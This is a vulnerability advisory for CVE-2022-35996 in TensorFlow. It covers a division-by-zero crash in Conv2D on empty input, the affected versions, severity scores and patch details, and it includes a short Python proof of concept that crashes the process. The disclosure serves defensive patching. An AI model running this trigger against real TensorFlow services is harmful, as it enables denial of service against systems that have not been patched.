CVE-2022-35996 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.7.2 || >=2.8.0 <2.8.1 || >=2.9.0 <2.9.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00202 pctl0.425

Details

TensorFlow vulnerable to floating point exception in `Conv2D` ### Impact If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, ) ``` ### Patches We have patched the issue in GitHub commit [611d80db29dd7b0cfb755772c69d60ae5bca05f9](https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Jingyi Shi.

Metadata

Created: 2022-09-16T22:11:10Z
Modified: 2022-09-19T19:10:43Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-q5jv-m6qw-5g37/GHSA-q5jv-m6qw-5g37.json
CWE IDs: ["CWE-369"]
Alternative ID: GHSA-q5jv-m6qw-5g37
Finding: F020
Auto approve: 1